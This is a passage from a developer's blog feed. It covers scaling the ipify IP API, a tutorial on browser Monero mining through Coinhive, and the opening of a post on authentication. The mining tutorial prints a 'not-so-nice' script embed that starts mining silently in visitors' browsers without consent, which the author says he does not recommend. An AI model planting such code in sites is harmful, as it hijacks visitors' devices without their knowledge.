&lt;li>There were APIs that appeared to be what I wanted, but upon using them they&amp;rsquo;d
error out, go down randomly, or just otherwise not be of high quality. When I
inspected the &lt;code>dig&lt;/code> records of a particular provider, I noticed that the
entire service was running on a single server (with an A record) that was
terminating requests directly: not the most scalable/highly available service
in the world.&lt;/li>
&lt;li>There was an API service that looked somewhat OK but was trying to raise money
via donations to stay alive. Integrating with an API service on the brink of
death didn&amp;rsquo;t make me feel terribly comfortable.&lt;/li>
&lt;/ul>
&lt;p>Because of all these reasons I figured I&amp;rsquo;d just throw a small service together
myself and solve the problem for as many people as possible. After all: writing
software to return a single string isn&amp;rsquo;t terribly hard: why &lt;em>shouldn&amp;rsquo;t&lt;/em> I do it?&lt;/p>
&lt;p>I assumed that worst case I&amp;rsquo;d spend $30 bucks or so per month and treat it as a
public service.&lt;/p>
&lt;h2 id="ipify-v0">ipify v0&lt;/h2>
&lt;p>The first iteration of ipify was quite simple. I wrote an extremely tiny (&amp;lt; 50
LOC) API service in Node (I was playing around with Node a lot at the time).
Since the entire premise of the ipify service is returning a string, I figured
this was a perfect use case for Node as a technology: handling a lot of requests
with minimal CPU usage.&lt;/p>
&lt;p>After I had the API service built in Node, I threw together a simple static site
to power the front-end and deployed it into an S3 bucket on Amazon. I then
configured a CloudFront origin (Amazon&amp;rsquo;s CDN service) to sit in front of the S3
bucket and cache the pages for ultra-fast load times.&lt;/p>
&lt;p>Now, I&amp;rsquo;m not a designer by any stretch of the imagination&amp;hellip; But, with a little
&lt;a href="https://getbootstrap.com/">bootstrap&lt;/a> love things turned out half-decent =)&lt;/p>
&lt;p>After getting everything working I did some quick testing and things seemed to
be working ok so I moved onto the next phase: deployment.&lt;/p>
&lt;h2 id="enter-heroku">Enter Heroku&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/to-30-billion-and-beyond/heroku-logo.jpg" alt="Heroku Logo" title="Heroku Logo">
&lt;/p>
&lt;p>I&amp;rsquo;m a big &lt;a href="https://www.rdegges.com/2012/heroku-isnt-for-idiots/">fan of Heroku&lt;/a>
(I&amp;rsquo;ve even written &lt;a href="https://www.theherokuhackersguide.com/">a book&lt;/a> about it).
I&amp;rsquo;ve been using it for many years now and consider it to be one of the most
underrated services in the developer world. If you&amp;rsquo;ve never used it, go &lt;a href="https://www.heroku.com/">check
it out&lt;/a>!&lt;/p>
&lt;p>I decided that if I wanted to run ipify in a scalable, highly available and
cheap way then Heroku was the simplest and best option: so that&amp;rsquo;s what I went
with.&lt;/p>
&lt;p>I deployed ipify to Heroku in a minute or two, ran it on a single dyno (web
server), and did some limited testing. Things again seemed to be working well
and I was feeling pretty happy with myself.&lt;/p>
&lt;p>If you aren&amp;rsquo;t familiar with Heroku, let me explain how ipify&amp;rsquo;s infrastructure
was working:&lt;/p>
&lt;ul>
&lt;li>Heroku ran my ipify web service on a small dyno (web server) with 512M RAM and
limited CPU&lt;/li>
&lt;li>If my process crashed or had any critical issues, Heroku would automatically
restart it for me&lt;/li>
&lt;li>Heroku ran a load balancer that accepted all incoming requests for my app and
forwarded them to my dyno (web server) to process the request&lt;/li>
&lt;/ul>
&lt;p>This is a nice setup because:&lt;/p>
&lt;ul>
&lt;li>Everything is highly available: Heroku&amp;rsquo;s load balancers, my dyno, everything&lt;/li>
&lt;li>It requires no maintenance, configuration management, or any sort of
deployment code. It&amp;rsquo;s 100% automated.&lt;/li>
&lt;li>It&amp;rsquo;s cheap: I paid ~$7/mo to run this single web server&lt;/li>
&lt;li>It&amp;rsquo;s fast: Heroku runs on top of Amazon Web Services (AWS), so my
infrastructure was running in one of the most popular cloud hosted
destinations in the world: AWS us-east (Virginia). This means it is
geographically running on the east coast of the US: just across the water from
Europe, and not terribly far from the rest of the continental US. This means
users from most parts of the world wouldn&amp;rsquo;t have to make an enormous hop to
reach the service.&lt;/li>
&lt;/ul>
&lt;p>At this point, I was feeling pretty good. This took &amp;lt; 1 day&amp;rsquo;s worth of work to
build, setup, test, and move into production.&lt;/p>
&lt;p>I then integrated ipify into my own infrastructure management code to solve the
problem I had initially needed to resolve.&lt;/p>
&lt;p>Things were going great for about a month before I started noticing some
issues&amp;hellip;&lt;/p>
&lt;h2 id="popularity-ugh">Popularity&amp;hellip; Ugh&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/to-30-billion-and-beyond/spartan-warrior-sketch.jpg" alt="Spartan Warrior Sketch" title="Spartan Warrior Sketch">
&lt;/p>
&lt;p>I never marketed ipify, but it ended up ranking really high for the &amp;ldquo;ip address
api&amp;rdquo; search phrase on Google. I guess all those years working on copy editing
and SEO paid off.&lt;/p>
&lt;p>Within a month or so, ipify was ranking near the top of Google search results,
bringing in thousands of new users. With the increased visibility of the
service, I started seeing some issues.&lt;/p>
&lt;p>My Heroku load balancer was firing off warnings because my Node server wasn&amp;rsquo;t
servicing incoming requests quickly enough. What ended up happening was:&lt;/p>
&lt;ul>
&lt;li>Too many users would make API requests to ipify&lt;/li>
&lt;li>My Node server would start responding to requests slowly so latency would rise&lt;/li>
&lt;li>The Heroku load balancer would notice this and start buffering requests before
sending them onto my Node server&lt;/li>
&lt;li>Because my Node server wasn&amp;rsquo;t servicing requests quickly enough, my load
balancer would return a 503 to the user and the request would die off&lt;/li>
&lt;/ul>
&lt;p>Not a pretty picture.&lt;/p>
&lt;p>So what I did was simple: I added another Heroku dyno. This way, I&amp;rsquo;d have twice
the capacity and things would run smoothly again. The downside is that running
two &amp;ldquo;production&amp;rdquo; dynos on Heroku spiked my cost up to $50. Once you&amp;rsquo;ve gone past
one dyno, you have to pay normal rates: $25/mo/dyno.&lt;/p>
&lt;p>I figured that by now the service had likely capped out in popularity and I was
OK paying $50/mo, so I&amp;rsquo;d just do that and things would go back to normal.&lt;/p>
&lt;p>But&amp;hellip; Things didn&amp;rsquo;t quite work out that way.&lt;/p>
&lt;p>Before even a week had passed, I was already getting alerts from Heroku telling
me that I was having the same issue as before. When I looked at my stats, I
could see that my traffic had doubled, and again it appeared like ipify was just
simply getting too much usage.&lt;/p>
&lt;p>I added another dyno (brining my monthly cost up to ~$75/mo), but decided to
investigate further. I&amp;rsquo;m a frugal guy &amp;ndash; the idea of losing &amp;gt; $50/mo seemed
unpleasant.&lt;/p>
&lt;h2 id="the-investigation">The Investigation&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/to-30-billion-and-beyond/l-sketch.jpg" alt="L Sketch" title="L Sketch">
&lt;/p>
&lt;p>When I started investigating what was going on, the first thing I did was check
to see how many requests per second (rps) ipify was actually getting. I was
pretty surprised by the number: &lt;em>it was low&lt;/em>.&lt;/p>
&lt;p>If my memory serves me correctly, ipify was only getting around 10 rps at the
time. When I saw how small the number was, I figured something bad must be
happening in my code. If I can&amp;rsquo;t service 10 rps across two small web servers, I
must be doing something horribly wrong.&lt;/p>
&lt;p>The first thing I noticed was that I was running a single Node process. This was
an easy fix: I started using the Node &lt;a href="https://nodejs.org/api/cluster.html">cluster
module&lt;/a>, and bam: I was immediately running
one process for each CPU core. This effectively doubled my throughput on my
Heroku dynos.&lt;/p>
&lt;p>But 20 rps still seemed like a tiny number so I did some more digging. Instead
of doing load testing on Heroku, I did some load testing locally on my laptop.&lt;/p>
&lt;p>My laptop was far stronger than a small 512M RAM Heroku dyno, so I figured I
should see much better throughput.&lt;/p>
&lt;p>I did some testing using the &lt;a href="https://httpd.apache.org/docs/2.4/programs/ab.html">ab
tool&lt;/a> and was surprised to
see that even on my laptop I was unable to surpass a threshold of 30 rps from my
Node processes (I run Linux on my laptop and ab works effectively there). I then
did some basic profiling and found that Node was spending a lot of time
performing basic string manipulation operations (to extract the IP address from
the &lt;code>X-Forwarded-For&lt;/code> header and clean it up). No matter what I experimented
with, I was unable to boost throughput up much above that limit.&lt;/p>
&lt;p>At this point, the production ipify service was able to serve roughly 20 RPS
across two dynos. ipify was in total serving ~52 million requests/mo. Not
impressive.&lt;/p>
&lt;p>I decided to rewrite the service in Go (which I started using a few months
before) for performance purposes to see whether or not I could get more
throughput out of an equivalent Go server.&lt;/p>
&lt;h2 id="ipify-v1">ipify v1&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/to-30-billion-and-beyond/warrior-sketch.jpg" alt="Warrior Sketch" title="Warrior Sketch">
&lt;/p>
&lt;p>Rewriting ipify in Go was a short (but fun) experiment.&lt;/p>
&lt;p>It gave me the opportunity to mess around with many different Go routing stacks:
Gorilla/mux, Martini, and
&lt;a href="https://github.com/julienschmidt/httprouter">httprouter&lt;/a>. After benchmarking
and playing around with all three routing tools, I ended up using httprouter as
it performed significantly better than the other two more popular options.&lt;/p>
&lt;p>On my laptop I was able to achieve ~2,500 requests/second from my Go server. A
massive improvement. The memory footprint was also much lower and hovered around
5M.&lt;/p>
&lt;p>With my new found love for Go, I immediately took action and deployed my new
Go-based ipify service on Heroku.&lt;/p>
&lt;p>The results were fantastic. I was able to get about ~2k RPS of throughput from a
single dyno! This brought my hosting back down to $25/mo and my total throughput
to ~5.2 billion requests/mo.&lt;/p>
&lt;p>Several days later, while talking to a more experienced Go developer, I ended up
rewriting some of my string handling functionality which netted me an extra ~1k
RPS of throughput. I At this point I was able to sustain ~7.7 billion
requests/mo per dyno (give or take a bit).&lt;/p>
&lt;p>I was thrilled to say the least.&lt;/p>
&lt;h2 id="more-popularity">More Popularity&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/to-30-billion-and-beyond/tyrael-sketch.jpg" alt="Tyrael Sketch" title="Tyrael Sketch">
&lt;/p>
&lt;p>Although I was able to cut back my hosting cost down to a reasonable range for a
short period of time, within roughly two months ipify started experiencing
issues once more.&lt;/p>
&lt;p>It&amp;rsquo;s growth had continued to rise at an astounding rate. Around this time I had
set up &lt;a href="https://www.google.com/alerts">Google Alerts&lt;/a> for ipify, so that I&amp;rsquo;d
know when people mentioned it.&lt;/p>
&lt;p>I started getting notifications that more and more people started using ipify in
their personal and work projects. I then began receiving email from companies
asking if they can embed it in their products (including a large smart TV
provider, numerous media agencies, IoT vendors, etc.).&lt;/p>
&lt;p>Before I knew it ipify was servicing around 15 billion requests/mo and I was now
back to spending $50/mo on hosting costs.&lt;/p>
&lt;p>But that too didn&amp;rsquo;t last for long.&lt;/p>
&lt;p>I noticed rather quickly that ipify&amp;rsquo;s traffic continued to rapidly increase.
There was a period of several months where it would add an additional billion
requests each month.&lt;/p>
&lt;p>I also started having issues with burst traffic &amp;ndash; ipify would receive massive
amounts of burst traffic for a short period of time that would die off quickly.
I presumed this traffic was part of bootstrapping scripts, cron jobs, and other
similar timed operations.&lt;/p>
&lt;p>I later discovered through user notifications that antivirus vendors started
blocking ipify because it started getting used in root kits, viruses, and other
nasty pieces of software. Attackers would use ipify to get the victim&amp;rsquo;s public
IP address before firing it off to a central location to be used for malicious
purposes. I suppose this sort of usage was responsible for a large amount of
that burst traffic.&lt;/p>
&lt;p>While I&amp;rsquo;m not a fan of helping VX authors or spending money to assist them, I
made the decision to keep ipify running neutrally to serve anyone who wants to
use it. I&amp;rsquo;ve never been a fan of developer services that pick and choose what
people use them for. I like to keep things simple.&lt;/p>
&lt;p>Which left me to deal with the burst traffic problem. Dealing with burst traffic
was tricky because I primarily had two choices:&lt;/p>
&lt;ul>
&lt;li>Run additional dynos at a cost to myself and be always prepared for burst
traffic, or&lt;/li>
&lt;li>Use an auto scaling tool like
&lt;a href="https://elements.heroku.com/addons/adept-scale">Adept&lt;/a> to automatically
create and destroy dynos based on traffic patterns on my behalf&lt;/li>
&lt;/ul>
&lt;p>I eventually decided to manually involve myself and go with option #1, simply
because I didn&amp;rsquo;t want to spend any additional funds on Adept&amp;rsquo;s service (even
though I&amp;rsquo;ve used it before, and it is fantastic). Around this time I was
spending $150/mo and ipify was servicing ~25 billion requests/mo.&lt;/p>
&lt;p>Which brings us to the recent past.&lt;/p>
&lt;h2 id="ipify-hits-30-billion-requests">ipify Hits 30 Billion Requests&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/to-30-billion-and-beyond/buzz-lightyear-proud-sketch.jpg" alt="Buzz Lightyear Proud Sketch" title="Buzz Lightyear Proud Sketch">
&lt;/p>
&lt;p>Over the past few months, ipify has hit a new record and surpassed 30 billion
requests/mo on several occasions. It was an exciting milestone to surpass and
something that has been fun to watch.&lt;/p>
&lt;p>Today, ipify routinely serves between 2k and 20k RPS (which is almost never
consistent). Traffic is always variable and the usage is so routinely high that
I&amp;rsquo;ve completely given up on trying to detect traffic patterns in any meaningful
way. Average response time ranges between 1 and 20ms depending on traffic
patterns.&lt;/p>
&lt;p>Today the service runs for between $150/mo and $200/mo depending on burst
traffic and other factors. If I factor that into my calculator (assuming a
$200/mo spend), it looks as if ipify is able to service each request for total
cost of $0.000000007. That&amp;rsquo;s astoundingly low.&lt;/p>
&lt;p>If you compare that to the expected cost of running the same service on
something like Lambda, ipify would rack up a total bill of: $1,243.582/mo
(compute) + $6,000/mo (requests) = ~$7,243.58. As a quick note, this is some
back-of-a-napkin math. I plugged ipify&amp;rsquo;s numbers into a Lambda pricing example
from the AWS website here: &lt;a href="https://aws.amazon.com/lambda/pricing/">https://aws.amazon.com/lambda/pricing/&lt;/a>.&lt;/p>
&lt;p>All in all, I&amp;rsquo;m &lt;em>extremely satisfied&lt;/em> with ipify&amp;rsquo;s cost. It&amp;rsquo;s a frugal service
that serves a simple purpose.&lt;/p>
&lt;h2 id="ipifys-future">ipify&amp;rsquo;s Future&lt;/h2>
&lt;p>Which leads me to the future. As ipify continues to grow, the service has gotten
requests for a lot of different things: ipv6 support (&lt;em>something that Heroku
does not support :(&lt;/em>), better web design, other metadata about IP addresses,
etc.&lt;/p>
&lt;p>As I&amp;rsquo;m incredibly busy with other projects nowadays, I ended up passing
ownership of ipify along to my good friends at
&lt;a href="https://www.whoisxmlapi.com/">https://www.whoisxmlapi.com&lt;/a>.&lt;/p>
&lt;p>Jonathan and team are good people working to build a portfolio of valuable and
interesting developer API services.&lt;/p>
&lt;p>While I still help out with things from time-to-time, Jonathan and team are
currently implementing new features for ipify, and working hard to roll out some
pretty cool changes that I&amp;rsquo;m excited about (including an improved UI and more
data endpoint).&lt;/p>
&lt;p>I look forward to seeing how &lt;a href="https://www.ipify.org/">ipify&lt;/a> continues to grow
over the coming years.&lt;/p>
&lt;p>If you have any questions or would like to get in touch with me, please &lt;a href="mailto:r@rdegges.com">shoot
me an email&lt;/a>.&lt;/p>
&lt;p>-R&lt;/p></description></item><item><title>How to Monetize Your Website with Cryptocurrency Mining</title><link>https://rdegges.com/2017/how-to-monetize-your-website-with-cryptocurrency-mining/</link><pubDate>Sun, 10 Dec 2017 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2017/how-to-monetize-your-website-with-cryptocurrency-mining/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2017/how-to-monetize-your-website-with-cryptocurrency-mining/dwarf-miner-sketch.jpg" alt="Dwarf Miner Sketch" title="Dwarf Miner Sketch">
&lt;/p>
&lt;p>I’m a big fan of cryptocurrencies and blockchain technologies. They have a
number of interesting applications, one of which I’ll be discussing today:
monetizing your websites.&lt;/p>
&lt;p>Developing and running a successful website can be really challenging. If your
website doesn’t directly charge users for a service, making money to cover your
expenses (and potentially turn a profit) can be nearly impossible.&lt;/p>
&lt;h2 id="advertising-is-dying">Advertising is Dying&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2017/how-to-monetize-your-website-with-cryptocurrency-mining/dying-fly-sketch.jpg" alt="Dying Fly Sketch" title="Dying Fly Sketch">
&lt;/p>
&lt;p>Integrating with an ad network like Google Adsense and showing display ads on
your site is a losing game: people hate ads and go to extreme lengths to block
and ignore them. I’ve been using ad blockers since 2006 and haven’t seen a
single web ad in over 11 years. &lt;a href="https://pagefair.com/blog/2017/adblockreport/">Recent studies&lt;/a>
estimate 11% of the global population uses an ad blocker, and that number is
likely far greater for younger generations and people in North America.&lt;/p>
&lt;p>Since advertising is a undisputedly dying as an industry, there are only a
couple of options you (as a website owner) can take to monetize your website in
a future-proof way:&lt;/p>
&lt;ul>
&lt;li>Ask your visitors to donate to your website to keep it alive. There are
numerous ways to do this. Wikipedia shows a banner across their site whenever
they need to raise money asking users to donate a few bucks to keep the site
running. &lt;a href="https://www.patreon.com">Patreon&lt;/a> is another popular option: ask
your users to pay you a small monthly fee to get extra content on your site.&lt;/li>
&lt;li>Charge your users money to use your website. This is the most straightforward
approach, but also one of the hardest. Are your users willing to pay for what
you provide?&lt;/li>
&lt;li>Mine cryptocurrencies in the user’s browser&lt;/li>
&lt;/ul>
&lt;h2 id="mining-cryptocurrency-for-profit">Mining Cryptocurrency for Profit&lt;/h2>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>&lt;strong>NOTE&lt;/strong>: Click the play button above. You may need to disable your adblocker.
It will allow you to mine cryptocurrency as you read this article. Neat right?&lt;/p>
&lt;p>Mining cryptocurrency in the browser is a relatively new strategy to monetize
websites. It’s theoretically workable, but extremely inefficient:&lt;/p>
&lt;ul>
&lt;li>Most cryptocurrencies require a lot of computing power to perform the
necessary hash functions to “mine” cryptocurrencies&lt;/li>
&lt;li>Running cryptocurrency mining software in a user’s browser (via JavaScript) is
inefficient: JavaScript is a slow interpreted language. Running CPU intensive
code inside of the browser’s engine is also slow and error prone.&lt;/li>
&lt;/ul>
&lt;p>There is, however, one way to efficiently mine cryptocurrency in a user’s
browser: &lt;a href="https://getmonero.org/">Monero&lt;/a>. Monero is a cryptocurrency designed
for anonymity. Transactions are anonymous and untraceable (unlike
&lt;a href="https://bitcoin.org/en/you-need-to-know">Bitcoin&lt;/a>).&lt;/p>
&lt;p>The main reason why Monero can effectively be mined from within a browser is due
to the hashing algorithm that powers Monero transactions:
&lt;a href="https://cryptonote.org/whitepaper.pdf">CryptoNight&lt;/a>.&lt;/p>
&lt;p>The CryptoNight hashing algorithm is designed to run effectively on consumer
grade CPUs (this means normal desktop and laptop computers) while running
inefficiently on stronger CPUs and GPUs (which are traditionally required to
process large volumes of cryptocurrency transactions).&lt;/p>
&lt;p>What this means is that Monero can be mined effectively from the computer you’re
using to read this article. Because of this, there is very little incentive for
investors to go spend millions of dollars on expensive computing equipment and
mine all of the Monero transactions (this is what has happened to Bitcoin and
Ethereum in recent years).&lt;/p>
&lt;p>This levels the playing field, making it possible for you to effectively allow
users viewing your website to mine Monero for you via their browser.&lt;/p>
&lt;h2 id="mining-monero">Mining Monero&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2017/how-to-monetize-your-website-with-cryptocurrency-mining/monero-logo.png" alt="Monero Logo" title="Monero Logo">
&lt;/p>
&lt;p>So, how exactly can you get your users to mine Monero coins for you? The short
answer is &lt;a href="https://coinhive.com/">coinhive&lt;/a>. coinhive is an API service that
allows you to embed a Monero miner into a user’s browser, which will mine coins
and earn money for you.&lt;/p>
&lt;p>The way coinhive makes money is by keeping 30% of the Monero earned by your
miners. The remaining 70% is paid out to you directly in Monero.&lt;/p>
&lt;p>If you have Monero, how can you cash it in for USD? In the same exact way you’d
cash Bitcoin in for USD: an exchange.&lt;/p>
&lt;p>Currently, &lt;a href="https://www.coinbase.com/join/51660a68c08669f6b8000046">Coinbase&lt;/a> is
the most popular Bitcoin exchange around. It allows you to purchase Bitcoin,
sell Bitcoin, etc. The going price for Bitcoin as I write this article is nearly
$14,000 per coin.&lt;/p>
&lt;p>Monero is not nearly as mainstream. There are a number of Monero exchanges you
can use, none of which have monopolized the space. You can find a list of all
the current Monero exchanges &lt;a href="http://monero.org/services/exchange/">here&lt;/a>. As I
write this article, the price of a single Monero coin is $230.&lt;/p>
&lt;p>If you were to run a website today that has around 10 - 20 active users mining
Monero, you could reasonably expect to earn 0.3 Monero per month: roughly $69.
If your website contains content that keeps users engaged for long periods of
time: mining Monero may be a viable strategy for monetizing your site.&lt;/p>
&lt;h2 id="how-to-mine-monero-in-the-browser">How to Mine Monero in the Browser&lt;/h2>
&lt;p>Now that we’ve covered the basics, let’s take a look at how you can actually
start mining Monero in the browser.&lt;/p>
&lt;p>The first thing you’ll need to do is create a coinhive account, which you can do
&lt;a href="https://coinhive.com/account/signup">here&lt;/a>.&lt;/p>
&lt;p>Once you’ve created your account, you’ll want to visit the &lt;a href="https://coinhive.com/settings/sites">Sites
page&lt;/a>. This page allows you to create new
API key pairs for each website you plan to mine on.&lt;/p>
&lt;p>If you want to run this Monero mining code on multiple websites, you would
create multiple sites here and give each a unique name. This will allow you to
see how much each website has earned over time.&lt;/p>
&lt;p>Now that you know how this works, go ahead and give your default API key pair a
name. It’s best to name it using the full URL of the domain you plan to run the
code on. Here’s what my screen looks like:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2017/how-to-monetize-your-website-with-cryptocurrency-mining/coinhive-settings.png" alt="coinhive Settings Page" title="coinhive Settings Page">
&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Whatever you do: don’t share your private key. Keep it private.&lt;/p>
&lt;p>Next, you’ve got to embed the mining Javascript code into your web pages. You
have two primary ways to do this:&lt;/p>
&lt;ol>
&lt;li>The nice way&lt;/li>
&lt;li>The not-so-nice way&lt;/li>
&lt;/ol>
&lt;p>If you opt for strategy #1, you’ll want to embed the following JavaScript code
into your site:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;https://authedmine.com/lib/authedmine.min.js&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">var&lt;/span> &lt;span class="nx">miner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">CoinHive&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Anonymous&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;YOUR_PUBLIC_KEY&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">miner&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">start&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When the page loads, your users will be greeted by this opt-in screen:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2017/how-to-monetize-your-website-with-cryptocurrency-mining/coinhive-opt-in.png" alt="coinhive Opt-in Page" title="coinhive Opt-in Page">
&lt;/p>
&lt;p>This lets the user opt-in to what you’re asking them to do.&lt;/p>
&lt;p>Now, if you want to go for option #2 (&lt;em>which I’m not recommending&lt;/em>), what you’ll
want to do is the exact same thing as above with one minor change: link to a
different source file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;https://coinhive.com/lib/coinhive.min.js&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kd">var&lt;/span> &lt;span class="nx">miner&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="k">new&lt;/span> &lt;span class="nx">CoinHive&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">Anonymous&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;YOUR_PUBLIC_KEY&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">miner&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">start&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This will let start silently mining Monero as soon the as the script is loaded,
without signaling anything to the user.&lt;/p>
&lt;h2 id="measuring-your-results">Measuring Your Results&lt;/h2>
&lt;p>Now that you’ve got your users mining Monero for you, you’ll want to see how
much Monero you’re actually earning.&lt;/p>
&lt;p>To do this, you’ll want to go check out your coinhive dashboard and take a look
at your stats:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2017/how-to-monetize-your-website-with-cryptocurrency-mining/coinhive-dashboard.png" alt="coinhive Dashboard Page" title="coinhive Dashboard Page">
&lt;/p>
&lt;p>Not bad, right? In just a few minutes you are able to monetize any free website!&lt;/p>
&lt;h2 id="things-to-consider">Things to Consider&lt;/h2>
&lt;p>Before you run off and embed Monero mining software in all your websites, there
are a few things you should think about.&lt;/p>
&lt;p>First off: I was partially lying to you earlier. While it’s true that the online
ad industry is dying because people hate ads, running a Monero miner in the
browser won’t save you from those of us who use adblockers.&lt;/p>
&lt;p>I use the fantastic &lt;a href="https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm?hl=en">uBlock Origin&lt;/a>
Chrome extension and it blocks cryptocurrency miners like this one by default.
So if you’re trying to monetize a website via mining to recoup losses from
adblockers, this won’t help you. Instead: this is simply an alternative way to
monetize your free users.&lt;/p>
&lt;p>While I have no evidence to back this up, I strongly suspect that users might be
more open to letting you borrow some of their CPU power than showing them
annoying and obnoxious display ads.&lt;/p>
&lt;p>Finally: be careful what you do with this. If you choose to start running mining
software on a user’s computer without their consent, you’ll drain their device’s
battery faster, potentially make their device “lag”, etc. It’s just not a nice
thing to do.&lt;/p>
&lt;p>So, as always, don’t be a jerk.&lt;/p>
&lt;p>Got a question? &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">Hit me up&lt;/a>.&lt;/p>
&lt;p>-Randall&lt;/p></description></item><item><title>Authentication Still Sucks</title><link>https://rdegges.com/2017/authentication-still-sucks/</link><pubDate>Tue, 29 Aug 2017 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2017/authentication-still-sucks/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2017/authentication-still-sucks/upset-owl-sketch.jpg" alt="Upset Owl Sketch" title="Upset Owl Sketch">
&lt;/p>
&lt;p>I currently own 47 domain names. I know it sounds like a lot, but that&amp;rsquo;s down
quite a bit from my all-time high of 78 ~two years ago.&lt;/p>
&lt;p>I&amp;rsquo;m constantly thinking about fun websites and businesses to build; I can&amp;rsquo;t help
it. For the last ten years or so, I&amp;rsquo;ve probably acquired around ten domains per
year as a way to satisfy my never-ending need to build silly things.&lt;/p>
&lt;p>My most shameless domain name purchase (as my wife will gladly tell you) was
back in ~2010 when I purchased the subtly named &amp;ldquo;checkonoldpeople.com&amp;rdquo;. At the
time, it was around 4am and I was hyped up on Rockstar (no-carb) energy drinks.
I thought I had a revolutionary idea: a simple website that would call your
aging parents for you automatically (using Twilio&amp;rsquo;s API) once per day, prompting
them to press &amp;ldquo;1&amp;rdquo; if they were still alive. Tactful, I know.&lt;/p>
&lt;p>I wish I could tell you I didn&amp;rsquo;t spend the next two days building out the
service; but I won&amp;rsquo;t lie to you: I did.&lt;/p>
&lt;p>Several years ago I was scrolling through a credit card statement and couldn&amp;rsquo;t
help but gulp when I saw my yearly domain renewal bill. I think seeing the
numbers there in that black-and-white PDF are what put really my insanity into
perspective for me. After that experience I was finally able to let several
dozen expire (including &amp;ldquo;checkonoldpeople.com&amp;rdquo;).&lt;/p>
&lt;p>Most of the projects I start building are motivated by some small online void.
Here&amp;rsquo;s how it happens:&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;m working on a real-world project trying to figure something out&lt;/li>
&lt;li>I come across a solution and start implementing it&lt;/li>
&lt;li>Once I&amp;rsquo;m done implementing it, I wonder why it was so hard to figure it out in
the first place&lt;/li>
&lt;li>This is where I immediately start thinking of project names, buy a domain
name, and spend a minimum of one full night locked away hacking on the idea&lt;/li>
&lt;/ul>
&lt;p>It&amp;rsquo;s a vicious cycle.&lt;/p>
&lt;p>The funny part of the whole thing is that 99% of these projects never see the
light of day. 99% of them never have a single user (other than myself). You
might think someone who is that driven and motivated would surely launch more
than a few websites after so many years of building things: but you&amp;rsquo;d be
incorrect.&lt;/p>
&lt;p>For the most part, once I&amp;rsquo;ve found a reasonable working solution to my problem
and built out the core functionality of the service, I struggle to finish the
&amp;ldquo;other stuff&amp;rdquo; that makes projects and businesses successful:&lt;/p>
&lt;ul>
&lt;li>Allowing users to sign up for the service&lt;/li>
&lt;li>Building a polished website&lt;/li>
